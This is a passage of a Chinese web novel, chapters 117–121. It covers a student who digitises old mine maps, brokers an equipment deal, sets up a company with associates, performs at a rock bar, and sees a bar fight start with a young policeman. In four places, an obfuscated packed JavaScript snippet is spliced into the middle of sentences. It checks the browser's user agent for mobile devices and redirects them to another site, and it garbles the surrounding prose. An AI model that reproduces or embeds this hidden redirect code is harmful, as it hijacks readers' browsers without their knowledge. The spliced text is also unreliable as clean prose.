卢主任把韩学涛带到走廊尽头的一间大办公室。 门上挂着块铜牌,写着“地质系绘图室”。 推门进去,里面比想象的要大,靠墙是一排铁皮柜,里面塞满了卷成筒状的图纸。 屋子中央摆着几张宽大的绘图桌,桌上铺着硫酸纸和聚酯薄膜,几把三角尺和比例规散落在旁边。角落里有一台扫描仪,乳白色的外壳,体积不小,看起来有些年头了。 绘图室主任齐老师正趴在桌上用针管笔描一张图,看见卢主任进来,直起身子,把老花镜往鼻梁上推了推:“卢主任,有事?” “老齐,借你的地盘用用。”卢主任指了指身后的韩学涛,“这个学生说能把纸质地图数据化,让他试试。” 齐老师看了韩学涛一眼,目光里带着一种“你逗我”的表情,但没说什么,只是点了点头,把手里的针管笔放下,退到一边,抱着胳膊靠在绘图桌上。 第117章 一展身手 韩学涛走到那台扫描仪前,弯腰看了看型号。 中晶的,A3幅面,分辨率600dpi,接口是SCSI的。这台机器放在现在不算差,但扫描速度不行,一张A3图扫下来要将近一分钟,而且驱动还得手动加载。 他看了一眼旁边那台电脑——奔腾的处理器,内存32兆,装的是Windows95。这配置放在97年算是主流,但跑起图形处理软件来,卡顿肯定十分明显。 “可以用吗?”他问齐老师。 “随便用。”齐老师说,“不过我们平时用的那套软件你也别指望有多快,上次扫一张全开的地质图,光拼接就花了一整天,最后还是歪的。” 韩学涛没接话,从包里掏出一张三寸软盘,塞进电脑的软驱里。屏幕上弹出一个窗口。他把软盘上自己写的程序拷到桌面,然后打开扫描软件,放了一张A3幅面的区域地质图上去,开始扫描。 扫描仪嗡嗡地响起来,灯管慢慢移动,一格一格地吃进那张图。将近一分钟后,图像出现在屏幕上。 卢主任和齐老师都凑了过来。 韩学涛打开自己写的程序——界面简陋,灰底白字,没有图标,只有几个按钮和一排菜单栏,看起来像是DOS时代的遗物。但程序跑起来之后,齐老师的表情变了。 “你这……你这怎么这么快?”他盯着屏幕,声音里带着一种不敢相信的惊讶。虽然也有卡顿,但是比他们原先用的强多了。 韩学涛没回答。他调出刚才扫描的图像,点击了一个按钮。 屏幕上的图像在半分钟内完成了自动裁剪、旋转校正和色彩优化,原本有些发黄的图纸底色被自动滤掉了,线条变得清晰锐利。然后他又点了一下“矢量化”的按钮,程序开始逐行扫描图像上的线条,将黑色的线段和标注自动转换成矢量数据。 整个过程,不到五分钟。 齐老师不说话了,眼睛盯着屏幕,嘴唇微微张着。 卢主任站在旁边,看着屏幕上不断跳出来的图形数据,手指在下巴上摩挲了两下,嘴里蹦出几个字:“小子可以啊。” 他转头看了齐老师一眼:“老齐,去把那张图拿来。” “哪张?” “就是那张。”卢主任说,“那个矿的那张。” 齐老师愣了一下,看了韩学涛一眼,犹豫了一下,转身走到墙角的铁皮柜前,从最里面抽出一个卷得紧紧的大纸筒。 他把纸筒放在桌上,解开绑绳,小心翼翼地展开——一张泛黄的大幅图纸铺满了整张绘图桌。 这是一张苏援时期留下的老图。比例尺很大,图幅也大,纸张已经发黄发脆,边角有几处裂痕,折叠处的线条已经被磨得模糊不清。 图上标注的是俄文,地名、标高、矿点,全是西里尔字母。整张图的信息量巨大——地层分布、断裂构造、矿化蚀变带、钻孔位置,密密麻麻的线条和符号交织在一起,看着就让人头疼。 “这是我们系最近在重点弄的一个东西。”卢主任说,“在辽东那边一个矿。当年苏联专家援助的时候搞的详查,撤走的时候留下这套图。我们现在手头有这套老图,还有后来重新测绘的几套图——问题是坐标系对不上,比例尺也不完全一致,老图的保管质量你也看到了,皱的皱、破的破,有些地方根本看不清。” 他看了韩学涛一眼:“这些老图和后来测的图要整合在一起,我们绘图室弄了三个月了,还没搞定。坐标打架、图层对不上,拼出来的图跟狗啃的似的。” 齐老师站在旁边,点了点头。那张图他们确实搞了很久,几个绘图员轮番上阵,描的描、补的补,但老图和新图之间的偏差是系统性的,不是靠手工能调过来的。 韩学涛走到透图台前,按亮开关。白色的荧光从磨砂玻璃下面透上来,他把那张老图铺上去,又从旁边的架子上抽了几张透明的聚酯薄膜,盖在图上。 他拿起一支细针笔,开始往薄膜上描。 他没有直接处理整张大图——电脑的内存根本跑不动,32兆的内存,光是加载一张全开的灰度图就能把系统卡死。他的策略是分图层。将复杂的纸质图纸按属性拆开——地层、断裂、矿点、等高线,每一种属性描在一张单独的聚酯薄膜上。 这样,单张薄膜上的信息量极少,黑白扫描件只有几百K。几百K和几百兆之间的差距,在97年的硬件条件下,就是能跑和跑不动的区别。 韩学涛趴在透图台前,一笔一笔地描。他的动作很快,但很稳,针笔尖在薄膜上划过,发出细微的沙沙声。卢主任和齐老师站在旁边,谁也没说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455625|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就那么看着。 好在来之前准备充分,在留学生宿舍自己练过,描得虽然比不上专业的老师,但是也能说得过去。 描了将近一个小时,在齐老师的动手帮助下,四张薄膜都描完了。 韩学涛直起腰,把薄膜一张一张地放到扫描仪上,扫进去。 然后他坐回电脑前,开始运行自己的程序。 第一张——地层图。扫描图像加载进去,程序自动识别线条,进行降噪处理,将模糊的线段锐化,然后自动匹配坐标系。 第二张——断裂构造图。 第三张——矿点分布图。 第四张——等高线图。同样的流程。 四张图都处理完之后,韩学涛点了一下“对齐”按钮。 程序开始运算。屏幕上出现了一个进度条,一格一格地往前挪。CPU风扇嗡嗡地转着,在安静的绘图室里显得格外清晰。 卢主任站在后面,盯着那个进度条,没有说话。 齐老师也站着,抱着胳膊,手指在胳膊上轻轻敲着。 进度条走完。 屏幕上,四张图层自动叠加在一起。 地层、断裂、矿点、等高线——原本各自独立的图层在计算机里实现了精度高达零点五毫米的完美拼接。 那些困扰了绘图室三个月的老图和新图之间的坐标系偏差,被程序自动校正了。 老图上模糊不清的线条,经过降噪和锐化,变得清晰可辨。(后期还需要手工处理,不过工作量锐减!) 俄文标注的位置被自动标记出来,留出了替换成中文的空位。 韩学涛移动了一下鼠标,整张图在屏幕上平滑地拖动。他点了一下放大,局部细节清晰地呈现出来,等高线的间距、断裂带的走向、矿点的分布,一目了然。 绘图室里安静了几秒钟。 齐老师整个人几乎是趴在显示器前,眼睛直直地盯着屏幕上的图。他看了好一会儿,伸出手,用指尖在屏幕上轻轻点了一下,像是怕把那根线条戳断似的。 “卢主任。”他的声音有些发紧,眼睛还是没有离开屏幕,“这是什么软件?” 卢主任站在后面,脸上的表情也是难掩震惊! 他没有回答齐老师的问题,而是看向韩学涛,目光里带着一种老教授看到好苗子时特有的那种光亮。 第118章 利益动人心 正所谓难者不会,会者不难。 那些编程技术,没学过的人看着高深莫测,连从哪儿下手都想不明白。可对韩学涛来说就不一样了—— 他在图书馆听了好多国外大学的计算机课程,斯坦福的算法、麻省理工的编程方法、伯克利的软件工程,讲课的老师里有好几位都是图灵奖得主,比如艾兹格·迪杰斯特拉、高德纳、朱里斯·哈**尼斯。 这些教授带出来的学生,后来在硅谷创业的数不胜数,太阳微系统的创始人、硅谷图形的创始团队,随便拎出一个来,都是响当当的人物。 说到底,编程有时候就靠一个思路。没思路,怎么想都想不通;有了思路,一通百通。 就像马斯克从斯坦福辍学后自己捣鼓出Zip2——地图黄页,跟韩学涛的思路有异曲同工之处——不是拿别人开发好的东西来卖,而是他自己就是核心程序员。 马斯克听过的计算机课,还没他多呢! 韩学涛这一手露出来,整个绘图室都震惊了:有了这么厉害的软件工具,那我们还用得着自己费劲动手吗? 用不着卢主任开口,齐老师直接就把韩学涛叫来帮忙了。韩学涛又拉上了楚强和小白。 楚强压根没想到,韩学涛找来的活儿,竟然是帮系里的绘图室做地图。他原以为,韩学涛可能也就是倒腾点东西、卖点货什么的。结果活儿找到了自己系里——还是那个平时路过都觉得冷冷清清、带着一股霉味的绘图室。 干这个能挣钱吗?不会打白工吧? 事实证明,能,而且还挣得不少。 这个矿产图整合项目,本来就是批了经费的。原本计划干半年,他们三天就干完了。 当然,后期还有些收尾的活儿,齐老师就带着他的学生一点点在电脑上手工描完了——其实也不算多费事,比以前省心太多了。不过齐老师也不让他们再动手了,总不能什么活都让大一的学生干了吧?他带的那帮大二大三的学生,也得锻炼锻炼。 三天把所有图都弄完,楚强和小白一人拿了一千五,韩学涛拿了四千。 这已经很不错了。要知道整个项目经费也就两万多块,他们三个就挣了七千。 之所以这么偏向他们,一是因为他们确实功劳最大——别看只干了三天,主体工作全是他们完成的。还有一个关键原因:他们也算是齐老师的学生。现在才大一,等到了大二大三,齐老师和制图室的其他老师就是他们的导师了。 都是未来的好苗子,必须奖励,别一不留心被其他专业拐跑了,那损失可就大了。 卢主任也对韩学涛刮目相看,好几次透露想收他当研究生的意思。韩学涛当然不会拒绝,只是觉得时间还早,就对卢主任说:“教授,我才大一,现在想这些会不会太早了?”卢主任摆摆手:“你心里有数就行。我带着好几个专业,不用你考试,专业任你挑。” 四千块钱到手,韩学涛没留,分成两份,两千给楚强,两千给小白。这点钱对他来说意义不大,他搭上卢主任,是为了后面的事情。 小白没接那两千块,推回到韩学涛手里:“涛哥,虽然我家条件也一般,但我没那么缺钱。系里给的一千五够我花好久了。这两千就都给强子吧。” 楚强站在旁边,那张扑克脸上看不出什么表情,但眼眶微微红了一下。 他没说谢谢,而是伸出手,一手搂住韩学涛的肩膀,一手搂住小白的肩膀:“学涛,小白——你们两个是我楚强这辈子的兄弟。” 他家里面欠着十几万。这五千多块钱虽然远远不够,但起码缓了口气,而且最关键的是——他看到了希望。 楚强从小就是个高傲的人,骨子里带着一股不服输的劲儿,从小到大没碰到过什么人是他真正服的。但现在,他对韩学涛是真的服了。因为韩学涛做到的这些事情,是他做不到的。 卖苹果的点子他想不到,公益基金的思路他想不到,而现在帮绘图室弄地图——当他得知那个软件是韩学涛自己开发的时候,心里的震惊简直无以复加。 韩学涛拍了拍楚强的肩膀:“这只是第一单。放心吧,你家那点债不算什么。争取这个学期就填平。” 楚强身体一震,扭头看他:“真的?” “等着。” 韩学涛说这话,倒不完全是为了帮楚强。他有自己的算盘。 做地图需要底层数据,不能一点一点从头做起,那消耗的精力太大了。他的计划是拿到测绘局的资料,这会节省他大量的时间和精力。 他又来到卢主任的办公室。 卢主任正坐在办公桌后面看文件,见韩学涛进来,放下手里的东西,靠在椅背上,指了指对面的椅子:“坐。测绘局的事儿,你还在想?” “是。”韩学涛坐下来,开门见山。 卢主任说:“技术没问题了,但我们就这么找上去,恐怕不太合适。毕竟是两个不同的单位,领导之间各有各的利益,需要协调。而且这事儿按理说应该是他们测绘局来求我们,哪有我们眼巴巴上去找他们的?这事还要从长计议。” “您说的对,应该测绘局求我们。”韩学涛笑道:“教授,我感觉我们学校在地质设备方面的投入不太够。您看那台扫描仪,完全满足不了日常的需求。学校不肯给我们批钱——但是测绘局和规划局那边有钱啊。这难道不是一个机会么?” 卢主任抬起头:“你的意思是?” “他们测绘局的扫描仪,应该比我们用的好多了吧?” 这话一出,卢主任像是被戳中了什么痛点,哼了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458238|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“好多了?你知道他们测绘局前年通过省里批款,咬牙买了一台什么吗?滚筒扫描仪,几十万,占了半间屋子!德国进口的,幅面能扫全开图,分辨率能到一千二百DPI,配套的软件跑在Unix系统上——结果你猜怎么着?”他拍了一下桌子:“局里没人会用!那台Unix系统的机器,他们整个信息科翻遍了都找不到一个人能玩得转。几十万的设备,搁在那儿落了快两年的灰,成了个昂贵的摆设。” 韩学涛听完,笑了笑:“他们不会用,但是我们会啊。” 卢主任愣了一下,看着韩学涛,目光里的火气慢慢变成了另一种东西:“你还会Unix?你都从哪儿学的?” 韩学涛不慌不忙地说:“教授,您别忘了,我是我们学校教材编撰项目小组的助理。几乎所有的外文课程资料,都是我翻译的。” 卢主任一拍脑袋,恍然大悟。 他想起来了。冯老师提过这事,说图书馆那边有个大一的学生,英语好得不像话,帮着翻译了不少外文资料。当时他没往心里去,现在一想,这小子能翻外文资料,能听国外大学的计算机课,能自己写软件——Unix算什么? 他看着韩学涛,越看越欣喜。这个学生,可是个宝啊。 韩学涛趁热打铁,继续说道:“教授,我的想法是这样的——测绘局不需要出钱请专家,只需要把扫描仪的使用权‘借’给我们地质系。作为交换,我们地质系承担全省所有老图的数字化任务,而且保证精度达到部颁标准。” 说到这,他顿了顿,“还可以加一条——为了保障数据传输和处理,测绘局需要以‘数字化配套工程’的名义,采购两台SGI图形工作站。这两台工作站名义上是测绘局的资产,但合同规定必须‘驻场在地质系实验室’,由我们的专家维护。” 卢主任一下子就站了起来。 他在办公桌后面站了两秒钟,然后绕过桌子,开始在办公室里踱步,脑子里飞快地盘算。 事业单位的设备采购非常死板,预算、招标、审批,一套流程走下来没半年搞不定。但横向课题合作极其灵活——你有钱,我有技术,签个合作协议就能干。 测绘局有钱买设备却没指标招编制,高校有顶尖人才却穷得买不起电脑。让学校给他们地质系配这些昂贵的设备,不可能。但让测绘局或者规划局出钱买硬件挂在账上,东西搬到大学实验室里,美其名曰“联合研发”......嘶!这不就是产学研合作么? 名正言顺,谁也挑不出毛病。 卢主任越想越觉得有道理,步子越走越快,在办公室里转了好几圈,最后停下来,看了一眼墙上的挂钟。 他转过身,对韩学涛说:“我去找校长,你回去等我消息。” 第119章 账在心里,不在纸上 隔一天又是周五。 韩学涛估摸着,卢主任那边怎么也得下周才能有消息。下午的课全部结束后,他从包里掏出那部爱立信手机,拨了包丽的号码。 一个小时之后,韩学涛走出校门。 夏利停在路边,车窗摇下来,包丽从驾驶座上探出头。副驾驶上坐着包达,头上扣着一顶深色棒球帽,遮住了大半张脸。刚出狱的人头发短得贴头皮,戴个帽子反而显得自然。 韩学涛拉开后车门坐进去。 “事情办妥了?” 包达转过身,从座位旁边拿起一个牛皮纸文件袋递过来。 韩学涛接过去打开,抽出里面的东西——营业执照、税务登记证、组织机构代码证,一应俱全,公司注册的资料都在这里了。公司名叫“丽达商贸”,法人是包丽。 韩学涛翻了翻文件,点了点头。 包达在旁边搓着手,笑嘻嘻地说:“老大,用我们兄妹俩的名字注册公司,又让我妹当法人——这个……您看是不是有点不合适?您才是老大嘛。” 韩学涛把文件袋封好放在座位旁边:“包达,咱们的账在心里,不在纸上。纸上那些东西是给外人看的——你要是觉得写个名字就能当老大,那格林斯潘就是世界首富。” 包达干笑两声:“那倒也是……呃,格林斯潘是谁?” “不懂就去学,”韩学涛说,“打这一架耽误了多少事,你算过没有?要不是你妹妹,我现在连个法人都找不着。”包达出狱未满三年,不能当法人,幸亏包丽过16岁了,不然还真有点麻烦。 包达低着头,没敢吭声。 “以后在女人这方面收一收,”韩学涛往椅背上一靠,“你蹲过,里面那些人怎么进去的,你应该清楚。别告诉我你没听过‘栽在裤腰带上’这句话。” 包达抬起头,嘴动了动:“老大,您说得这么明白,不知道的还以为您也蹲过呢。” 韩学涛抬手就把文件袋拍在包达脑袋上,拍完顺手帮他把帽子扶正:“蹲了九个月,学会顶嘴了?” 包达接过文件袋,悻悻地摸了摸被拍的地方,嘿嘿笑了两声。 别看他比韩学涛大七八岁,但韩学涛说话,他还真是发怵。 因为他是亲眼看到眼前这个大学生——哦不,当时还是高中生——是怎么把东林刑事庭的庭长周建国给弄进去的。 这事儿他知道得比刘骏还多,后面给纪委递资料、找小偷设局,都是他亲手干的。后来他知道周建国下台的事,整个人都是麻的。 最开始他也以为韩学涛的目的只是为了设局**,没想到最后的目标竟然是刑事庭的庭长!作为一个小偷,周建国那是他想都不敢想的大人物。 “老大,下面要干啥?” 韩学涛从随身的包里抽出一份图纸展开递过去。图纸上密密麻麻全是尺寸标注和模块说明,线条工整,标注清晰,一看就是下了功夫画的。 “你跑一趟粤省,找个厂家代工生产这种方块机。”韩学涛指了指图纸上的几处关键标注,“要求就是完全按照图纸生产,每个模块都不准少。不用省钱,找生产质量最好的。” 包达接过图纸正低头看,包丽从前座转过身来,伸手把图纸拿了过去。 “我去吧。”她说,声音干脆,“上次我去进抽油烟机,正好认识一个给韩国代工生产方块机的老板,还一起吃过饭。” 韩学涛想了想,点了点头:“行,那你去。包达你留下来,把公司的框架弄起来,然后开始雇人。” 包达问:“老大,我们要卖方块机吗?” 韩学涛说:“不卖。我们只送。” 包达张嘴:“白送?” 木吉他啤酒吧门口,韩学涛意外地又碰到了展雪。 他把包达兄妹的事情安排妥当之后,本想着在校外随便吃点东西再回学校,结果没走几步,就听见身后有人喊他的名字。 “韩学涛!” 他转头,看见展雪站在“木吉他”门口。 牛仔裤,短靴,白色短袖T恤,外面套了件军绿色的工装衬衫,袖子卷到小臂,马尾扎得利落,背着吉他,旁边停着一辆黑色的铃木街车,油箱上有一道红色拉花。 韩学涛走过去,看了一眼摩托车,又看了一眼展雪:“又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458239|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来喝酒?酒瘾挺大的嘛。” 展雪没理他的话,直接问:“你会不会开摩托车?” “干什么?这摩托车是你的?” “你要会开就送我一程。”展雪说,“我背着吉他,开车不方便。” 韩学涛说:“我晚上还要去图书馆呢。” 展雪看着他:“行,你去吧。我算认清你了。你偷三蹦子那晚,还是我帮你把撬下来的锁和铁链子收好的。” 韩学涛看了她两秒钟,一步跨上了摩托车,把住车把:“挟恩图报,不是好人。” 展雪笑着跨上后座,侧头凑近他耳边说:“我是女人,当然不是好人。和好人还差一个‘子’字呢。” 韩学涛发动了摩托车。铃木的引擎低低地吼了一声,排气筒喷出一股淡淡的白烟。 “说吧,去哪儿?” “往前开,我给你指路。” 摩托车驶出巷子,汇入主路的车流。 五月底的宁海,傍晚的风还带着凉意,从耳边呼呼地吹过去。路灯刚亮,街边的店铺一家挨着一家,霓虹灯还没全开,但已经有些花花绿绿的光在橱窗里闪了。 韩学涛骑着车,不紧不慢地走在车流中间。展雪坐在后面,吉他背在背上,一只手搭着他的腰,马尾辫被风吹得往一边飘。 这组合实在扎眼,路过的行人不自觉地多看两眼,有的还回头张望。一个骑自行车的大叔从旁边经过,扭头看了他们一眼,差点撞上前面的三轮车。 展雪感觉到他开车的节奏——换挡平顺,油门控制得恰到好处,速度不快不慢,在车流里走得稳稳当当。 “你这车技不行啊,”展雪故意说,“开得太慢了。” “怕把你的车开散架了,赔不起。”韩学涛头都没回。 展雪笑了一下:“你一个特困生,怎么还会开摩托车?什么时候学的?” 韩学涛说:“毕业准备跑‘摩的’,提前练的手艺。” 展雪被逗笑了:“挺好的。如果能选择,我也想去跑摩的。” 韩学涛从后视镜里看了她一眼,说:“有病。” 展雪在他背上拍了一巴掌。 第120章 地下酒吧 展雪指路,带着韩学涛来的地方叫螺塘街。 这条街夹在宁海师大和卫校中间,不长,但热闹得很。路边摊一家挨着一家,炒面、烧烤、麻辣烫,油烟混着孜然味飘了整条街。 酒吧也不少,门脸一个比一个花哨,霓虹灯管弯成各种奇形怪状的图案,在夜色里一闪一闪的。 展雪在一家酒吧门口停下来。 韩学涛抬头看了一眼——“嚎叫酒吧”。 门脸刷成黑色的,招牌上的字是血红色的,歪歪扭扭,像是用油漆泼上去的。两边的窗户用黑布遮得严严实实,门口立着一个小黑板,上面用粉笔写着今晚的乐队名单,字迹潦草得几乎看不清。 整个门脸看上去像鬼屋似的,要不是门口站着几个抽烟的年轻人,韩学涛还以为这店已经倒闭了。 “你还需要到酒吧来唱歌?”韩学涛把摩托车停好,摘下头盔,“收入能赚回你的吉他钱吗?” 展雪接过头盔挂在车把上,背好吉他,看了他一眼:“我来玩,又不是来赚钱。你掉钱眼里去了?” “没办法,”韩学涛说,“我是特困生嘛。” 展雪笑了一下,没接话,推开酒吧的门走了进去。 门一开,声浪扑面而来。 里面不大,灯光昏暗,只有舞台上有几盏彩色的射灯,红红绿绿地扫来扫去。空气里弥漫着烟味、啤酒味和一股说不清道不明的汗味。 台上一个乐队正在表演,主唱弓着腰抱着话筒架,唱得声嘶力竭,嗓子都快劈了。鼓手打得满头大汗,镲片震得嗡嗡响。底下一帮年轻人,有男有女,跟着节奏又吼又蹦又跳。 展雪凑近韩学涛的耳朵,提高声音说了一句,但音乐太吵,韩学涛只听清了几个字。大概是这个乐队的名字。 展雪带着他挤过人群,往舞台旁边的一个区域走。 那是靠墙的一片地方,摆着几张破旧的沙发和折叠椅,地上散落着效果器、连接线和几个敞开的吉他盒。几个乐队模样的人正聚在那儿调音、抽烟。这里是后台兼休息区,下一波要上场的乐队在这儿做准备。 一个光头的男生脖子上挂着铁链子;一个穿工装裤的长发男在给吉他换弦;还有一个瘦子蹲在墙角,眼神发直,手指无意识地在空中划拉。韩学涛扫了一眼——嗑了。 展雪一进来,几个人就围了上来。 “雪儿!来了来了!”一个扎着头巾的男生冲她挥手。 “雪儿,帅的!”一个穿海魂衫的女生凑过来,嘴里叼着没点的烟。 展雪笑着跟他们打招呼,挨个给韩学涛介绍:“这是刘海乐队的阿飞,这是王道乐队的大勇,那是瘸猫乐队的贝斯手小贵……” 一个穿乐队T恤的男生凑过来,围着他转了两圈:“这哥们儿长得也太正了,不像是跟我们玩摇滚的。” 另一个鸡窝头凑上来,一脸认真地说:“兄弟,你信不信我能用舌头舔到自己的鼻子?”说完伸出舌头使劲往上舔,舔到了人中,然后得意地看着他。 韩学涛冲他竖了个大拇指,接着往前走。 一个哪吒头,网眼袜的女生浑身酒气,扑过来搂他脖子,韩学涛一只手摁着她的脑袋推开了,步子都没停,一边走一边问展雪:“你是什么乐队的?” 展雪走在他前面,回头看了他一眼,嘴角露出笑意,似乎就在等他这个问题。 “梦底。”她说。 展雪组建的这支“梦底”乐队,还有两个成员。 一个叫牛油,蹲在角落里捣鼓效果器,长头发耷拉下来挡住半张脸,身上一件蓝色的工装衬衫,袖子卷到手肘。 另一个是**,靠墙根坐着,板寸头,银链子,黑色亨利衫,叼着烟,眼睛半睁不睁的。 “带同学来玩儿?”牛油抬头扫了一眼韩学涛。 “他也是我们乐队的。”展雪说。 **夹烟的手一顿,眼神递过来,带着点敌意。 牛油先笑了:“成啊,一会儿上去一块儿弄。”他站起来拍拍裤腿上的灰,上下打量了韩学涛一圈,“哥们儿玩儿什么?” 展雪没让他开口,直接把背上的吉他拽下来,往他怀里一怼。 “你弹,今天我只唱。” **朝韩学涛的方向吐了口烟:“我们的活儿,熟吗?” 展雪说:“‘梦底’是他写的。” 牛油和**都是一脸意外。他俩一直以为那首歌是展雪的。 展雪扭头凑近韩学涛:“你跟着节奏走就行。我把歌改成摇滚了。” 韩学涛拎着吉他,心说:我答应你们了么? 算了,玩玩也行。换一首歌,一遍没排就上去,那是找死。但这首不一样,旋律像是长在灵魂里的,怎么改都跑不了。 等他们上台。灯全灭了,只留舞台后头一盏蓝幽幽的背光,四个人的影子拉得又长又细。展雪站在中间,攥着麦克风,头发散下来。 **敲了四下鼓棒。贝斯和鼓先拱上来,像暴雨前压到地面的黑云。韩学涛站在舞台左边,手指搭在琴弦上等着。 展雪回头看他。他点了下头。 吉他切进来的那一瞬间,韩学涛像被人从背后狠推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461829|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一把。手指自己跑起来了,音符从音箱里往外涌,每一个音都是砸出来的,像是从骨缝里往外蹦。 展雪听见吉他那一下,浑身像过了电,头皮一阵酥麻。 她想起新生汇演——那次她是伴舞,拼了命追他的拍子。这一回,她是在他的吉他声里唱。还是追着他的拍子,只是换了个节奏。 她闭上眼,举起麦克风。开口唱歌的那一刻,歌声从音箱里炸开,直接把这破酒吧给捅穿了。军绿色外套从肩膀上滑下来,她也不管,仿佛站在**里的火炬。 台下疯了。有人往天上泼啤酒,有人趴在台沿伸手往上够。整个场子炸得稀里哗啦。 后台那些乐队的人全站起来了——穿皮背心的、套破洞牛仔裤的、脖子上挂狗牌的,一个个眼珠子钉在台上。 牛油弹贝斯的手越来越快,脑门上青筋暴起。**打鼓不是在敲,是在砸,镲片锵声四溅。 两人像虚脱了一般,不是跟不上节奏,而是被狂涌的情绪当头淹没。 展雪唱完最后一句,尾音还在音箱里嗡嗡地颤。 此时整个酒吧像被人掐住了喉咙。举着酒杯的手悬在半空,张开的嘴忘了合上,连喘气声都听不见。 短暂静默之后,轰地一声,尖叫、口哨、掌声、跺脚声在同一秒爆开。 展雪站在舞台上,头发乱糟糟的,外套挂在手腕上。她捋了一把汗湿的头发,对着台下弯下腰,然后慢慢蹲了下去——力气完全被刚才的情绪抽空了。 **想上来扶她,迈了一步腿一软,摔了个跟头,撞得架子鼓哗啦啦响。 还是韩学涛走过去,拽着她胳膊把她拎起来。展雪靠他肩膀上喘了几口气,然后一把推开他,又冲他笑了起来。 就在这时候,台底下靠门的一个角落突然骚动起来。 女生的尖叫传来,“砰”的一声,墙上一盏灯爆了,玻璃碴子崩了一地。 人群往四周退,中间空出一块。有人在推搡,有人在骂,还有一个女声在喊“放开我”。 韩学涛看过去。只见那边已经乱成了一锅粥,人挤着人,有人在推搡,有人在骂,还有女声在喊“放开我”。 他还没搞清怎么回事,酒吧的门被推开了—— 一个年轻的**走了进来。 他步子板正,警服不太服帖,带着一股刚穿上这身衣服不久的生涩劲。 “别动。都别动。有事跟我说,我来处理。”他拨开人群。 韩学涛站在台上,看到那个年轻的**走进来的一瞬间,整个人像被钉在了原地。 第121章 狭路 台上,韩学涛看清那张年轻**的脸,顿时愣了—— 马辉。 这死猴子不是退学回东林复读了吗?怎么跑这儿来了?还穿了身警服? 还没等他想明白,马辉已经跟几个混混对上了。 人群中间,四五个流里流气的年轻人围着一个穿卫衣的女生。女生缩在墙角,低着头,头发遮着脸,看不清表情。地上碎了两个啤酒瓶,空气里一股呛人的酒味。 马辉径直走过去,挡在女生前面:“都别动!跟我回所里把事情说清楚!” 几个混混先是一愣。为首那个染红毛的上下打量他一眼,嘴一歪:“你哪个所的?我们跟朋友喝个酒,碍你什么事了?” “人家卫校的女生,被你们从校门口拽出来的,这叫喝酒?”马辉那麻杆似的身子站得笔直。 几个混混对视一眼。起初对那身警服还有几分忌惮,可再看马辉——身形干瘦,站得倒是板正,却没有老警察那种不怒自威的劲头,心里那点畏惧便一点点散了。 红毛往前凑了一步,笑嘻嘻的:“新来的吧?你警号多少?我回头给你们领导打个电话,你这身衣服怕是不太好穿。” 马辉没退,嘴唇动了动,却没接上话。 另一个“莫西干头”绕到侧面,阴阳怪气:“人家女生自愿跟我们出来的,你管得着吗?传唤证呢?拿出来我看看。” 马辉心里一紧。他没有传唤证。接到报警就跑过来了,所里的正式手续一样都没来得及办。程序上的东西,老警察跟他说过不少,可真到了现场,脑子里那些条条框框全搅成了一锅粥。 几个混混见他没吭声,胆子更大了。 红毛笑嘻嘻地伸出手,一巴掌把马辉头上的警帽打落在地。 马辉弯腰去捡。刚直起身子—— “呸。” 一口唾沫不偏不倚啐在他胸口。白花花的沫子挂在崭新的警服上,就在警徽旁边。 全场安静了一瞬。 马辉低头看了看那口唾沫,慢慢抬起头,盯着面前那张笑嘻嘻的脸。 脑子里那根弦,“嘣”的一声,断了。 他一巴掌扇过去,结结实实一声脆响 红毛捂着脸,表情从嬉皮笑脸一点点变成了狰狞。 “**,你敢打我?” 话音未落,四五个混混同时涌上来。有人拎起啤酒瓶,有人从后面拽住马辉的衣领。马辉往后一退,后背狠狠撞上了墙。身后的女生尖叫起来,酒吧彻底乱了。 韩学涛把这一切看在眼里,手里的吉他塞给展雪:“你先走,别在这儿待着。” 说完,他从舞台边沿跳下去,拨开人群,朝马辉那边挤过去。 而此时,马辉还没来得及从那一巴掌的痛快里回过神,红毛的酒瓶已经抡了过来。 